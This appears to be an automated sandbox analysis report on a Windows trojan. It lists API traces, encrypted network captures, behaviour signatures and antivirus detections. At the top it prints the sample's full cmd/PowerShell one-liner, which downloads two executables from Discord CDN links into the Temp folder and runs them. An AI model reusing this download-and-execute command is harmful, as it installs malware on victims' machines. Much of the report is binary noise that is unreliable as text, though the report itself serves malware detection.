parameters: /c powershell (New-Object System.Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/861164404162035735/877165641059139624/WindowsHost.exe', '%Temp%\\WindowsHost.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('https://cdn.discordapp.com/attachments/861164404162035735/877245844057899028/WindowsHelper.exe', '%Temp%\\WindowsHelper.exe') & powershell Start-Process -FilePath '%Temp%\\WindowsHost.exe' & powershell Start-Process -FilePath '%Temp%\\WindowsHelper.exe' & exit
filepath: cmd
1 1 0
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
section {u'size_of_data': u'0x00015200', u'virtual_address': u'0x00002000', u'entropy': 7.866953255850268, u'name': u'.text', u'virtual_size': u'0x0001511c'} entropy 7.86695325585 description A section with a high entropy has been found
Data received [
Data received Wa$hNËÉ36ª‚KÝ@0êÛ¡‰¦¹¾DOWNGRD |c6m6ܐˆÕ¥!Kè kÛÕÑÆ$àåo.¾"MðՑÀÿ 
Data received  ò
Data received î ëI0‚E0‚- ŠöX9O÷ÔÀ:D# 0  *†H†÷  0J1 0 UUS10U Cloudflare, Inc.1 0UCloudflare Inc RSA CA-20 210119000000Z 220118235959Z0m1 0 UUS1 0 UCA10U San Francisco10U Cloudflare, Inc.10Usni.cloudflaressl.com0‚"0  *†H†÷ ‚0‚ ‚¬Cb„Ÿ6Q‹;“Ž Ó㐳Á@k-ŸÓÕ»ÀÓQbÕËÿ~ôxÚkJ»” ©pn˜˜VŸM6ìZ:r¨ùÑàÇoéÏÿ®1ÏH{«èæ}ºfXŽ\͍O.íäT/Æ› q‹d€³Q‡_žˆ˜Õ ;$xÛFq´C‹W¤8-Mi–$²sÊý‡ä³¢a.ÁÁk³#ùs·5ƒüy 8^¶löeý§”„”„:Û§µnZ"À¢5Cq¿mÓßôòýž'ø.°ì·ßö_%¼PZT—ºšÄpµ7¿ƒÞ:€–ü,}–DZ_.Mõl!ñYÊ2™}J¯£‚0‚þ0U#0€©ü²EIÁo04+هœ°%Wz0U8åôÎh §ëf?ߊþ5²ÄÇ×0BU;09‚*.discordapp.com‚sni.cloudflaressl.com‚discordapp.com0Uÿ 0U%0++0{Ut0r07 5 3†1http://crl3.digicert.com/CloudflareIncRSACA-2.crl07 5 3†1http://crl4.digicert.com/CloudflareIncRSACA-2.crl0>U 70503g 0)0'+http://www.digicert.com/CPS0v+j0h0$+0†http://ocsp.digicert.com0@+0†4http://cacerts.digicert.com/CloudflareIncRSACA-2.crt0 Uÿ00‚ +Öyõòðv)y¾ðž99!ðVsŸc¥wå¾W}œ` øùM]&\%]DŽwp®ûG0E!哦v£}–*¦Â¿¦þ‹.¤š>@T–g†.Ý{ (Aè—V<'ûǼŽz°ú5"eÈ{L(`?` üë,/Ev"EEYU$V–?¡/ñ÷m†à#&c­ÀK]ƃ\nâwp¯QG0E Ò6W\î ãhj9ô}x‚aè^‹<›?T¨|$%îÞ!ºÝl—šR:nn†ãóý?®ª¡ÜGRÚ¯x!™ù10  *†H†÷  ‚€»ÿ-2߃)_/¼Xˆ"Kùo¬ó?I÷|¬eB)Ìҗõ|ðïÙ2AK˜BŸÓtxsž¶9WÜbÙÝWªiñÜËلAARâY¿´þ^Àûڏ«²ÀpQHÝ7ø¤HXëê="„¬›*Ô!beɂ¼lÝ‡§L+û­#— ýHñ´{©YkM[œäÈT‰WgÁ(q®_ô ƒ°y0èàßj²Qw@µu¸­71ÓYE‡º–:¹V¶Iª§~-øPíì•d05ÌR Ì_yCq^ÌÁ£ƒfš…tšœÆ¼¼è¼|u+•uN¹Xœ~8?ÑÙHOlKBŸ¿|žW2ôýa–×é–œ0‚˜0‚€ ؚsó³¸Ú[X8˜)0  *†H†÷  0Z1 0 UIE10U  Baltimore10U  CyberTrust1"0 UBaltimore CyberTrust Root0 200127124639Z 241231235959Z0J1 0 UUS10U Cloudflare, Inc.1 0UCloudflare Inc RSA CA-20‚"0  *†H†÷ ‚0‚ ‚µ]&È «±3] ²–Â1N~_‡Æo€$íÚ®¾ç€÷ÅÏTf8(èæi»ø1jVõèÁ¥èYè³à:a(°~Í ýÎ7Ã驍 Éxʦ`F€¯t-OÚè RțZ2Ï!!G\ŠªÀp±ñÞß-…©•ì[W99¾…Âï׶,J?ÑÖ³!¢—O%,B#}׳Öi…¯ÕªØhd㭝R/Ååô‘¯å ًFçÏ2"ð7Äý‹æâÌ:Hׁa‚¿=rÙp^ì i$â<HãþÓåQÔ+À¡O“p™¿·Òƒni-ÈÍ¢bLC7_:v“Zúni]šÅˆÁ£‚h0‚d0U©ü²EIÁo04+هœ°%Wz0U#0€åY0‚GX̬úT6†{:µMð0Uÿ†0U%0++0Uÿ0ÿ04+(0&0$+0†http://ocsp.digicert.com0:U3010/ - +†)http://crl3.digicert.com/Omniroot2025.crl0mU f0d07 `†H†ýl0*0(+https://www.digicert.com/CPS0  `†H†ýl0g 0g 0g 0  *†H†÷  ‚|°Ž¦dráaÝót=P§çÂN &+Açð°óòÒçP€ÒÆ©º“ë¾ÁÁ†øO„¼|ær/é¶ÆviÝòjGk“T¤ €5'݊ŸÈ„—Ó´àÚ¦ðçÏ杘”ÒËÚ"wØI ¨UŽ‰ÔÒÎÐèÚàBýÎ~–„ʧÑ'Ÿ)¼ÿí.4ýF*ïNV|èÜ"—íS [º{àòO¥Y•Aͳr.\ozJC+"ËÔ? |óú|ÛJsqéÕÝF¶ž€q™ßõP~3Ò5u$^˜Z¨’Eô´Øˆ¦±déûùeHö–ÞF~Z0S]4âòñ‹•ð”ø­ã“
Data received K
Data received GA2`À³\ ÐN”P‹qÜ{æËlYã ÄaٟôÑçG±ºÒÎý¡Þ&)TàŸoÒ¾4ð)Û3oßL›+s,§k¶¯Ds("aÕ, 4[¸ØËÓ·÷‰Æ½.´sº² ™-T.ÁmÛe8¬~fG7Ì>_›*Mڛ‘FQO¡{à䬵QiÏbÛP£ Û¹ÐÀԜ¿‡à”Õ‹+>ù M—áÅUŸ¹Ìcœ¼½K¸$A±þžyÝ&چƤ*ˆä†Ù䗖èâÏû•øÓ)%iÌAÚU~þ91Ö$²Zµ÷¿¦E²oÓWpžµBۗ<ó}21ŽL(t­2 9V$— ­¥;Œ muçoT·S ÎõR;sðVªÀJ0Ã֗ª¸Fˆÿ°«l /Ò~Ü·ˆóDK}çjW#îV
Data received 
Data received 
Data received 
Data received 
Data received 0
Data received „rtQ±ÌY8Ó3á–’ƒÊրìDƒÒïo4²òµ·×ÊÚ]ÙÌ"ojž‡Ý2*
Data received p
Data received IrG° jêÝƉŠ¼¯œ“ßpTÁw†¾‚. =09gAOäèæóE±W‰¶‰ƒŠŠD>Ȋ€–Ÿü» 'g³rM'd€`ghl¿«¾Ù@œ1Ïa®¯©—­¡½=YÍÞæ#Š+«ªÇM÷¹q#h63Qô…Ï`ñ5a÷iÜFeÒ¬•žê:姍ìÝ»hÏÁ»ì;eZ¦Õ¸ WJ;âAíD¸D_ u$úExFog±£ÝG„f¿ñò‘áëŸÑsÎáen&5\zøë«Û¾;ðü¨2ÁÔÛßz¨l)p.²¸§XÚ_Ú//ŽÙ,w.½–¼;¹*¨xïøû%ӈµTôG$úèLè*·þéubÝÉA•Mi”äŒÝËî£{gL Àº~ÖU«bÛÏùºÂÒ Ê3«~¢Þ`lGF¦#ZXôƒ“i=±kîdt¢IÂOÝ RL¹[7þc°kÄSÞ}Ãcüm –XêƒG­¥³£nÈ+†WQRóƒ¦ PˆÜ—A«Ø±! Ùçâ~”Ê—]fGh<{EXŒ÷gpO°o¦‰¨C¸²Ö7廛fzúÿЁûú8’XPp öB”ÁlØÀ!oœ$ì9€X–ÏçrŸj´ ,€æ¶³|É ½éŽÂ2°´f… 7i>՚jHTî=̔<C†Àé®5ÀæsÃ@ôä8xöžk£]¨¬¡Š˜²ë Q˜$ îg]*)€çFˆïpƒ±ÄvÎBƒt€‹´'HQpI .ép|QuÐ Ñùâbº+„9ZÜÑyž­ªãFžà«ŠXŸ$$«\ M”C¶frg6›Ñú¤|¼—i²D¿gˆUZGÃYöŽÎíßÎv+ –y _[ýoôßú’+?ÞUè¹'s˜wy@ÔÙË õÊÄŒVƒùR‰bµ6º#-Eùè•Ê7ÎØ?.Û= !¼Åo“ŽŠ.û0 ßëZ‰Ú; $½T5®@F'³v`4á%'wß;g®Ët¦­‚s¨/¯*²唦Z9'0Ã,iówvÁ^d? ¼ô¾ ;J£ðŸªèq1â`»sÎ!‹ÔH6E){ߍþp÷ÎïL»§ºg›!5¢bL¥Ý•iµéíµø7ý¸‚åL€À¾£–€îÓEÞQC ëaçéݛÜFZw—ícú£Ò!”›mÏÏ1<QT+ sÅïÊýç`pŒpgüÃÜM-0ÃUߚxI\VŒf€ÖHñ’Vs]'‚j`Z×Kc_¹ßè3œ’eدfh*¬uò• ›HÚ½´ÍžçÝp˜ƒ¹³R|E÷Yû¤ šÐ’Â-U}üRòìgeh€Úwèá¼áq*¬J̏”WÏÌÍçט¨Ý”ôBÆÞXÙ1?й–1’z´Èê×àï+ªFŒxUlYÎ^̑ԃy-ÃMmy%ä{ýóPc@‚uÔ|…1к¶[Ôá$åª~, u B•± ‰8ÕVŸ/hK[Ý ‚<²à¿ÀrAú7–ž¤ÒÖœÐÔû .l4PŽ"’Œ¹@˜ž’ÀíÏGki¢%Úӛ-`È!¾$ 5YIãÝõ_óÙîq>–íJºÂèUi•ý¶VÖphÚvõÞêJ™e{68ú†‰<îi¾Á­…›XÕ´„¦ú?ŠzdSd¨ŒfJ-<Çßä¨uß WÊP‡œb‚ëaF^ûZo(HWâ}W&êÿ¢ø*°ƒAø±ƒ"GǸ/ž/nÜäÄY”5tÄ`W]í£ÓÄãÒ ÀJJiåáj‘Ò9¿Pþöa¡
Data received ´ÏWL¢óMõT5ãG&©òë Ž3:N½Å¾ž«êÑ_Ž˜´ýъ •b>Ôب…‹å¼&@±Húñ¶ú°Ï‘€¡Ÿ~¤°ÊÅZN&d®„ûnAi4¤ø·Û—¡1Ë]ž˜§ýœXʞÁR›ƒ×ď$ní9÷žÛÛ¯» Øh翙¶Ù]š,@²ë%SöBX#ó"{gý§ŽN6ëÍÁǐMoožœ‡Z•×v I÷[ч RnÃu6yb`¯tª²%R±Ö9>{¨èè–yVöšþ«MFöËL6ý“Ýcoé¹´ 2ªw˜ýe±Ð‰|ï–vØ0J´ÅšÞ\w!‡)ÈÍqrG#Ö÷mW¥ŠÖ%pãÙµcoñóY<6T ¿wG(ˆ¹{ ²‰¶{“!û½Ý©¶G7ùÞ¶G@¶A6´YÇD¯f‘ÏOò8偕 X:µ¯vÅÞ@$_†¥û£s¯"xß!©«m> 4$NÆ[K§ïÂEBü³‰,\¿ Œøž‘¨Ž{i²¯`(PªrþԅDÄì—Þ™äÉ^¥r–ðM•V—&ÕÐmCŽæ)MSnpԌªNÏܾƒôÀß^¾¸™æúrN0À„8ˆ$ù©Ç}ãý¢(¥ÌŠ j9ƒ‚{xyŸDMÑKË>€PìøÉ8ÙJ*Ûi"”íW?RW¯ü÷îTÕ§Ú4§¥”DžL ,u½Ò°Ö{Û]V#5šÎ!ŽíÕNÞa|ƒŸŠc"Q+³ò›ðb¹¬÷=z3t—\̘Zdߜ‹"j1q؞egƒÄÙÑ2Ž ç C”Ñ)Ÿ®ñî):p7²N>˜š4CëÈƵI±jvbD7G«³|ѝΓzY›Gm=ôhû¼ùÿv¢Toڑð¢wÑÁjˆ2uâ0ÖØ+ì!¶xs™f¬‚,¸HaàOP&UEÅú ²6Wû¡ ¢:²FCæ9ï³XlÌüøV"Î3•›8?µv ÜYӁs‚Xëú³5͉Þb¡¬áì+²££~™Auŏ vþ^i8&.”/ñYŽ°¡øe﮶K”gQu ÖõÆiJïÝÎê—_&DšûîF."fû~-#;@†2êÍ Y[ÜÊLk£BIîü¹hUs1Éç~§Iºj8ØÚ·„; bNe—–Ÿä2=ªjfruÓúÁHÃþ«n1]›‹€»x—Ãz!‚¶/d­ÕÒg4š2w)<Ùßßýjsã7.¡ÿ†É0ˆš÷—i§JE¤PðEå ¢GÎÝå芚pé‘ü¨."¢§÷®Œþ›™mFrŽJ¦G¤ É§Äg%C,|««ŽÌ#Ö÷nŠ+ààñ 36=ŸÍ`–]`•ó”Q^×Ò']wAÐì=ÅÙ]d+®F鿃±Åz-o¸é6)üjÐWÅlø|êx¾]hIëÁ#Év#¸ÀöÒÈáá?ތ”hÓW.¾`ÐÍ®œ¨&^0~0wW’é;ïÛ4KÖÜ\SÑ â6~®=.4Dûºð6ªûg9ýò½ôÿ ú@ô=Ô:­q°í ¸þÿI‰Cà £Üz¢¯ 5“È© àWö‘‡mºë£èÔìúîÙ)o:L ¦X¼âÜýh}“¶McU¹ö÷"Fª¬çÆ=g3ÃÃ1˚ðý׫óYUìfz¼ÞîÙ×S`i=Oãoð7&Ã/ uíi÷7¤v·8’r§ ˜æ#]üµG¹a¹ ÑZev±U/lC’V sÝVӝ>6´H¦h͜Në}b$áFàù3$‘ß½ÜÝ0æE0™7Bëèm
Data received 0K–F^‘ˆvŽ>'‚óIébøYMÈëéö•¡´jO*Ü®*Ÿ‚ŽÙ¶’ºvÅå*´KÎ &÷3•ˆ¦á¬ua¯6£¥c>)¬?:˜xÐÊY‘£Ò®s­ ® Ö¦õZ(b¦IxZ Œ>ƒ:ùüÂ÷7×7qhcc֘Àôœà)h-Z®Uab+ª›u×Jr,6—È] 4opJs|¥{ô´=€8yŒ<" Zñÿ<®Kªp[ÿP„™MDk ;Žd¥ÛėWr$¡°i(õ4«S#ýws»É¸íÉ^Ê'ÙåãÔ÷zè7i&&&¦Ðe5z"y:´%°ÝÙq ¥ [zî1“žˆîaâÖZÚàÈ #X œ‡g¸P ´"—Ê0c—vÞaݝ‚„ƒã&^™Õ"Â~pÙ]'ÔjÔÖÌ~׿¬Ã·Ç–^òJTˆ^™è•ybv¼sþuiÜÑgÏÒþ*ŽÂ7²Dʽ Cdu—a?6ŸwÈkFùT~¼Ì‚ƒ¶mЫÈLØÛP-¢Ì{<(ˆÎ‚];q¥…ï( °¼`ÒŇ»Ç?rhi ¥ñ¸ÔT¨±0ÈzQ¿AG£Œ(›Å J•åã7ï;ñpöü©êáP¹.?,³¿¥-òI¨V-åÙRÞIÇò8êúš2ŒSb+™¯}™Ý°i‘+QœìŽÎՒ^äDI­7¨ó”"¤“¤þè¼ëTÁX-Àû‘¦Ä´\S4Tÿ·Ø À÷ #rCý³î¸Îª?–Ù/t0} tú´øù»uËcÌ_Ø7«Pಾñ¯ ú¥‡å»ÑÁܐÚÅ×uwµLx¬1͞æ­bQnëÛçˆâ@¾P ¬Íh@Ô4ñx/ì¤kñã!ÁÝÿ¬[Ž)D4º8l³Z€'ä)ùù!÷dií*€fZD}ÑÀa§YÇíñG¨ѸÌö9”¹ñ߶§®žú°f°«œ QøU®RëÑ»ß~¿‘]¸´(›DD~pÜ!µ—ÞlÚ7McE†Ë}? ì<ӎ8yHß÷f¦ÏÛsQ‘kˆçÍš$wNm‘Õ²Ž«Ò’™ÉÅi4ül+ÍZßGuo]vqÿ@ÇúÂ6äÏkX6ã>ö®}(Æ·c}' *ÁÒáD9øÐÍĆ×7EEÒ)£ð,ô"ÿ¾1k‚=÷s‰¬¼—Z¿í^õn[—¶ÿï<è·Ààœ°[×$ìàeLÞ¡BTª=CÊx‡¸‡³øy¬u:uõ/¯¬*þR$3ݽ9õuØlŸ-9¹0ÿ(´KÖ_[¥NÓ¤E×;ÈP=“Ë(·¿éC¦ÏÁ¡¶Æfw®>ÛÄ)ô}lQÝNqD#š÷}Ñ'{;£ˆdŠþïð`Œ9¸¾÷ŽàŸ\:=*±¿…7rQm*,š˜¸Õ5|ͲÅUköR“‹U ú’+|g°NOU)}à XØ]<Zgÿ8¿«ÀrÐöE­¸è`Ël?B™º–“ýÅä.¶‘àa²u,qC–fköX_âä’pµJdiË ˆL>UÑ4ÿJËl&ŸS¯Oi:Ëd˜¦Ý6šC†üûÈFÛv–ïC‹=k¢ÊUhfÂЅ½3Ÿ<"æŒÓïç:?g‚IDø{¹3ä=Ո¥ÜâXIr/{è9M•¼§º€ÛAÑ0È&ùÓÜØB:æQHȁ¶™­iãC÷р»áOíóM ÀìäÜåq0êä~Ùú³ªÛŽÎ8gÚFÓ.¨Gü ^€Uzô½œÃUí¬ “3Rw¼V½`0`-]²Xó¡o  ÇõrÃ&oà±EèïV
Data received `
Data received ÛA’†*,ááó·t›‹Uù‘þ“éU3²Y|€ænå'¢u~ö¡&>]‰KÂnW½äö 7¦ ½3¨jo=i¢ššÀ傩ÌFº¯üví Aƒ›M¥ºþqŒz½¨—­ æC¥T°!•Œ,%½L³¢®š·?…çleú€à”!.sÙä¬A?9L€ @€}7Réõ¤”n2G~v5ÿ6ô(ò8­–t“Îhž§q{wúÚ{ÀÀ*¿¥D#–#mb_I¿€“$,¨#t¨ëØàáæÙoÂ#;,6•jƒ™¹ì»©´÷X­BãÌ©ã‚÷‹€JøüO…MŸìžGJ új£=Oç—8mIdõ¶Ihü¯àû2ðͶE»ö»N>ñZϊ…XI>žùêHu_Ø¿Ävï TwC–à«Ý»¹ÔwØ :/nà21³Õ܅ó_/e„îgË©WL¾dÿ¬Ñ°ÁݧJ p5Õ¸ŠÙ¾0;{‰R–Ø÷á²ûL^ÔBÓ¥# ΍^¨ÃGä-²ï³äÇÒ¨Çä-ÅºÄäkñsy¸?ªöOÁä€ď¥ øKñ8â‹el¸þ°¢`.GR ŽÔâm,èöáIžoBuyŽ¨Ø¸jI£óCuÜ[ø¢-“R'‹3¸…Pò¡9+dl$‚dÔ'HÕü è;À8Ìã–¹8Œõ›Ÿ s´"x& {ú=ðÌV̝„qÉJñá=tžý‡rßbž³Äü†ÐÌP¡»¾ŒÓñæ…5ZMh¤ò¼Ñ¦¸Œ¥ŸEê”\È!è³iâÈՇ'wëkõAiz h™è¯ót”è÷¥TÕ§&¹>¤P‰r=é˜Iå#VpwvʕrÉèÕdÞHÜ·#ïH™k“’_Uñõî…Sl±º²ãËqXd£éHÝPçFo»]Òp½)ќA'À•l¶S–”OjäO|ؐ#S3;_‘Q­§ †eônN³†Jߧ2.K†hËêÉÃêAd`p{ïi¼1ô‹Û›*¥Ix‹Š¼-+ýÜ·ÜêL‚)ýXRŒâ¡rn™˜@§-à@E;rFêbh÷0äídì»ãÑß½í•ßb’‡ÆÁskFv<ޜ¹ãçý'Ôéù0ò6pÌ¢3jC7Bç´ÎAT‘wJñhÍ®OéU*\šÚ¥õJ©ÙêĬˆ7Î 8ä׿¡‰¹5³ñÛôþê7:Â,…~2y"ò°Écß?gìfSËÈ$ó;GÎn%ÓVZFØ —¤=¼ ̜ÕÒºmÉAZñbB0pXe`—„uZiÒî7Œ€mڃ ÷Ö² al~•N Ï£½Ç…TÏlHñö_is€³ïëBü<ÏkǬ¬Ñ—smÒ2§2`‚ò4À)  Óp‚쨍¬SÒe•‹ p•
Data received 
Data received f¡¦;ç lp“(ÑTs½øþKµÁNG¹,åé
Data received Wa$hlÒ³¡U4`{°üѸä_'K>DOWNGRD jj™ ¢›DìçÿóíõþóL³ƒ¹Ïº¦UÜÀÿ 
Data received GA§d%֐•)Æ:x΁»x—XLÐå‘. svŠH&‰V¤jEf5Ÿ´ñ='H•j$2‡KéÐÊ·X׌¨q’â„Úˆtù{Ýñˆ â­.͆¡Y‡¢là™œßÅö½v,q»f(Rþ¥ÉÖ²Ÿ3 ³îGO˜²9Û®{\¦1iE»ƒ“çæ~Q î9Û8úUk2ñTãuN<‰,˜p3B\Èb%7eÏÈóõ—À°ìãÀ O<çì‰Iu%X wU_€O©¨µƒžcø°B# õÌíRu zeNó;V¥é«Z×ΫÙûü$à 1%y²ˆ×y1̐°žIœìÍovç‚ÇÒðuÅRîÅÈ{ʄ§·Èª†ãœØvgÛ7ýeMvWRO·]<ã®ÉWe‚Ä/l´—cóʝÙ
Data received _¹¿]ãì<þ aŸ x=P£·Œ–)…|TmÖd†Ï¸ê€äaöÒa9‰¡«iWÞæ¯5
Data received 
Data received |*78/§^+š*©$[Ü ]3d¬JM%˯.LƒÉCFрŽöqŽL€täH ŒÅGÍf¾§Î´`$m*Ã7#¯J¥s;5ÂÆù¯µð6´‘˜™²¦yèIáf#ZôIL‘Å?"IVÇHÞ²bCê¼{‡Åtµœq%øZšÃ9Lýœ1Ó0þ¨}7½Ñдè½Ò é]ïsŠ±a«uRȌä•IRu„Ù[£ôÑ{ûù‹ÄÒNšžß_¯¸˜Yç7/²Íß_ùœé:ùÚñòZ'\hãcfñù‹¨sÑ<â`c¥†ˆMÂýCïNJڠ‡VöÕQt)8g[‘2 üMupK;ü‘¦W’—#OæÞÙ²gþóÙSÆíÐǒ¨ßm.ýÇo7ü’;ÞÅ«t2»Àù¤}qp.|ç •!l‰9N0ˆ™C¿ò£¬åËՖ8~W ‘ŽlHCkç V¶©ÄB3P6¾¶æ)é(¤¤x W³E÷’Q ­'¬ïyw屇ðäŠNõáÛj÷¨;MQžÅçg•÷}n«ý-VM——’½†~ØN²Ä“7(μÈِÝÛُKÁJÔÚ íÌèdùdPe·¢Â ØL‰q‡JÞ Æ‚ÈåU¡µðiq¾æã!n/zvÀrŠùBÁ^ÊP"~¦ŠvÔøÐöƒcôÜ^ºÑ÷¨ïdzl„é=náÉàÐbÒåt%󍽤™HƒI–}Ç¹ö Ò¾â½R¤Òº~T*N.§ž©Ô°Ç³ã‘»C›Ö~7‚™‰ úÿòðìûü"òÿ<”âZ „=w×Þ£µ)–ÃJò~‚ý uµÍÅrDY 3N)¬g5,å̴Ъ‡n`‘Û·AÛ_™§b¶ò‚!MáӇg³¶Äã´°iˆÄðOAqž•z!M„ñˆxѱ ͧ;ìMúz%n¤±~”k<q7¦3‡Úì+ˆ¡¨l÷Šã‡t4,Ñus鬦ÈQ—¤Ïù ¡0žoh8tù‡xFïsR1~ðÀÇu]†Ê”•™ól.¦7nÜùðnNŽ S»Ð–Êîúf†—Ø܀×7+ ½³†çBÙòóW#„å€ÏŠ`«{.'l׿m·ám³òã÷—.ø™ Ñ.€ü‰÷²Tˆeó-æ ’ùÈjôÁn?ÔÍ¢TçÑÈ£ ³ÂŒyÚáaêÅæ<.húnkCgÎ̘]O| ŒóÒß&¹qRw,cQovZ-€áםaì †únÌ^¤'å¦i“Nµz'ò¯‡å‡AšŽ5Ž PQÀëøü}㙼NO…dqã3˜K"ÔZÙ¯ís ݈ ï5¢0F&ÿ¦ì…æ{ÃØå…U­Åbgè¡Î>¨U]Z,¯j[«úÃ>믘“÷{oéŒõ?–j‡Ò÷¥ Ümbü<ò>aW^ÚPÇHðÄxªÚj2Ğ­Ì€‰\’0$limˆ¸FØà͏ù0È®7¶.Áng5f>fá,5Rã~gOq43þ}hê!Eʔ™{„Q”ü²úڀ„d£}}äSpÙYÞ&KŠ5Q uæ‹Å“˜£Ï­e׍´Ü] ©Z³—Çh œSýÏ;҅×ÿž2Dæ&w€¸NQi _ՔÃ.$¼u,éÕÅÖ OkÀü™ÑÏÑێƒ…ztöe Êâø¤=Ë`+ö¦†’ô\^îxnÄ^4ᕘ|æ
Data sent uqa$hNä,c Ÿ8¿´¾þ& £ë›>ì ÖQüZ/5 ÀÀÀ À 280ÿcdn.discordapp.com  
Data sent FBAûtýgcîtsôÀØèj—_áT<@¡ký[ˆ_ߗ7zîf.t²BHÉo 'Äle©::‘„ë¾»‡ßƒ0OñÄÙ1+!9‡dÊËiÌ¢8„ÏØòe'ŠþXŌ­Ù›a—*.ŒÀ¤0´?Ìæ
Data sent  ñ›büüžý‡¢Ô¼M§Õ¸L¯•¾¯}Ín\[n×Ð-jáºÑA8¼‰jrXƒ&+;GÆüÐ=²K©€Ç…µpÁT.¨UD «Þž¬´íª›MÈÄàÄ1’€ ÉÉ8Wøb3%D•?ñ=»­¢":åhKø¼I8wëýÁŒËé=|ãºË×Á"úß†¡aÔ{€§ ü…}
Data sent uqa$hlÖ~ð‹wô¬@žŒC3òBP“W ¤Í0øZ/5 ÀÀÀ À 280ÿcdn.discordapp.com  
Data sent FBAòþ¢e‡÷¥“ÇAØú…NZ›¶÷¼ý9-Ê>vhô’_¢rÊ˜å‹`z‚¼P”n8;­â{Çϟ™)1ðވ^0ю­ N³¨J ^Óì\¼˜Š£ËšgÜäÀ^¸±H7Ï_±û&ŒIc¡¨ìÄ
Data sent  “–§ÌÖgó<9>cËyÁt^Ó3  À7ì·Ê_(ËÜ­>’)&½%â¥ôôÐ×Oh´%æËþ̉ Å}9’240<hè–ÝÌØ‹ŒÔ“âÜlåUo`VÌ;ۆÛ<u8£b¢zgMR*rÕt ,*2?íg„¨­&+7vÒQ<À¸ÛŸ–r‹ ùí=E4‹¹(²¼£ÑìiŠ\µ…6û
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
host 172.67.188.154
Elastic malicious (high confidence)
FireEye Generic.mg.abad27b663c16a74
Sangfor Trojan.Win32.Save.a
Cybereason malicious.ac844a
BitDefenderTheta Gen:NN.ZemsilF.34088.8m1@a8Z9ksnO
Paloalto generic.ml
Kaspersky UDS:DangerousObject.Multi.Generic
Sophos Mal/Generic-R
MaxSecure Trojan.Malware.300983.susgen
Microsoft Trojan:Win32/Wacatac.B!ml
ZoneAlarm UDS:DangerousObject.Multi.Generic
Malwarebytes Malware.AI.1980475579
SentinelOne Static AI - Malicious PE
eGambit PE.Heur.InvalidSig
Fortinet W32/Malicious_Behavior.VEX
CrowdStrike win/malicious_confidence_90% (W)
Time & API Arguments Status Return Repeated

send

 buffer: uqa$hNä,c Ÿ8¿´¾þ& £ë›>ì ÖQüZ/5 ÀÀÀ À 280ÿcdn.discordapp.com  
socket: 1260
sent: 122
1 122 0

send

 buffer: FBAûtýgcîtsôÀØèj—_áT<@¡ký[ˆ_ߗ7zîf.t²BHÉo 'Äle©::‘„ë¾»‡ßƒ0OñÄÙ1+!9‡dÊËiÌ¢8„ÏØòe'ŠþXŌ­Ù›a—*.ŒÀ¤0´?Ìæ
socket: 1260
sent: 134
1 134 0

send

 buffer:  ñ›büüžý‡¢Ô¼M§Õ¸L¯•¾¯}Ín\[n×Ð-jáºÑA8¼‰jrXƒ&+;GÆüÐ=²K©€Ç…µpÁT.¨UD «Þž¬´íª›MÈÄàÄ1’€ ÉÉ8Wøb3%D•?ñ=»­¢":åhKø¼I8wëýÁŒËé=|ãºË×Á"úß†¡aÔ{€§ ü…}
socket: 1260
sent: 165
1 165 0

send

 buffer: uqa$hlÖ~ð‹wô¬@žŒC3òBP“W ¤Í0øZ/5 ÀÀÀ À 280ÿcdn.discordapp.com  
socket: 1280
sent: 122
1 122 0

send

 buffer: FBAòþ¢e‡÷¥“ÇAØú…NZ›¶÷¼ý9-Ê>vhô’_¢rÊ˜å‹`z‚¼P”n8;­â{Çϟ™)1ðވ^0ю­ N³¨J ^Óì\¼˜Š£ËšgÜäÀ^¸±H7Ï_±û&ŒIc¡¨ìÄ
socket: 1280
sent: 134
1 134 0

send

 buffer:  “–§ÌÖgó<9>cËyÁt^Ó3  À7ì·Ê_(ËÜ­>’)&½%â¥ôôÐ×Oh´%æËþ̉ Å}9’240<hè–ÝÌØ‹ŒÔ“âÜlåUo`VÌ;ۆÛ<u8£b¢zgMR*rÕt ,*2?íg„¨­&+7vÒQ<À¸ÛŸ–r‹ ùí=E4‹¹(²¼£ÑìiŠ\µ…6û
socket: 1280
sent: 165
1 165 0
parent_process powershell.exe martian_process C:\Users\test22\AppData\Local\Temp\WindowsHost.exe
value Uses powershell to execute a file download from the command line
value Uses powershell to execute a file download from the command line
value Uses powershell to execute a file download from the command line
value Uses powershell to execute a file download from the command line
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe
file C:\Users\test22\AppData\Local\Temp\WindowsHost.exe
file C:\Users\test22\AppData\Local\Temp\WindowsHelper.exe